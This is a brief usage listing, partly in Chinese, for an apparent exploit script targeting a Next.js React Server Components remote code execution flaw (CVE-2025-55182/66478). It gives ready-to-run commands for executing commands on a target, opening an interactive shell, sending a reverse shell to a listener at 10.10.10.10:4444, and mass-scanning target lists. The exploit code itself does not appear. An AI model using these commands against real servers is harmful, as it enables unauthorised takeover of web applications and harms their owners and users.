来源 : https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478
usage: CVE-2025-55182-Exp.py [-h] [-u URL] [-l LIST] [-c COMMAND] [-i] [--revshell LHOST LPORT] [-t THREADS] [--proxy PROXY] [--timeout TIMEOUT] [-v]
# 单目标利用
python3 CVE-2025-55182-Exp.py -u http://target:3000 -c "id"
# 交互式 shell
python3 CVE-2025-55182-Exp.py -u http://target:3000 -i
# 反弹 shell
python3 CVE-2025-55182-Exp.py -u http://target:3000 --revshell 10.10.10.10 4444
# 从文件批量扫描
python3 CVE-2025-55182-Exp.py -l targets.txt -c "whoami" -t 10
# 使用代理
python3 CVE-2025-55182-Exp.py -u http://target:3000 -c "id" --proxy http://127.0.0.1:8080